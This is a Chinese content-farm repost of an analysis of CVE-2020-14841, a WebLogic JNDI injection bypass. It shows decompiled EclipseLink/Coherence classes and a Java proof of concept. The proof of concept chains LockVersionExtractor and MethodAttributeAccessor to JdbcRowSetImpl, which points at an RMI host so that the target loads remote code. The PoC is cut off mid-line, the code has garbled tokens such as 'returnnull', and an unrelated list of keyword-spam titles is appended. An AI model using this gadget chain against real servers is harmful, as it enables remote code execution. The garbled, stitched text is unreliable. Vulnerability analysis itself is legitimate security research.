如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析
发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,这篇文章将为大家详细讲解有关如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解
千家信息网最后更新 2025年02月01日如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析
这篇文章将为大家详细讲解有关如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
简介
通过diff 升级包中weblogic的黑名单,我们发现新增了这个类:
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
LockVersionExtractor 分析
package oracle.eclipselink.coherence.integrated.internal.cache;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;
public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
protected AttributeAccessor accessor;
protected String className;
public LockVersionExtractor() {
}
public LockVersionExtractor(AttributeAccessor accessor, String className) {
this.accessor = accessor;
this.className = className;
}
public Object extract(Object arg0) {
if(arg0 == null) {
returnnull;
} else{
if(arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}
if(!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}
returnthis.accessor.getAttributeValueFromObject(arg0);
}
}
我们可以从代码上看出来,类似与 cve-2020-2555,用法也都是一样的。触发漏洞的重点在于this.accessor.getAttributeValueFromObject 中。下面选取一个可能的执行路径
package org.eclipse.persistence.internal.descriptors;
public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = "";
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
returnthis.getAttributeValueFromObject(anObject, (Object[])null);
}
protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if(PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
returnAccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} catch (PrivilegedActionException var5) {
Exception throwableException = var5.getException();
if(throwableException instanceof IllegalAccessException) {
throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
} else{
throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
}
}
} else{
returnthis.getMethod.invoke(anObject, parameters);
}
MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于,只能执行无参的函数,从这点来看,我们很容易的与七月份 cve-2020-14645 联想起来
所以照猫画虎 poc如下
POC
// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");
MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");
LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue
关于如何进行CVE 2020-14841 WebLogic JNDI注入绕过的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
分析
内容
函数
文章
更多
知识
篇文章
不错
照猫画虎
代码
月份
漏洞
简介
缺点
质量
路径
重点
黑名单
黑名
升级
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
网络安全应用技术就业方向
魔兽数据库 api
校招中国移动网络技术管培生好吗
开展网络安全工作的通知
农安通用网络技术质量保证
怎么打开数据库管理器
青藤云网络安全交付师
c服务器开发视频教程
王者荣耀服务器怎么选
服务器挂多块硬盘
网络安全法草案标准
服务器后面的网口怎么绑定
数据库培训费用
霍山软件开发设计
数据库当前存在此表删除代码
企业网络安全技术公司
资阳网络技术参数
违者报警按网络安全 法处理
网络安全法一年进行几次评估
科技企业 转型 互联网
华为服务器连接管理口
苹果手机软件开发前十名
网络安全因素占比
购物平台数据库配置
2020年互联网科技大事件
开设计算机网络技术的技校
怎么从数据库中查询一个数据
数据库拿出来数据差16小时
网络安全法安全教育课讲稿
删除数据库损失几千万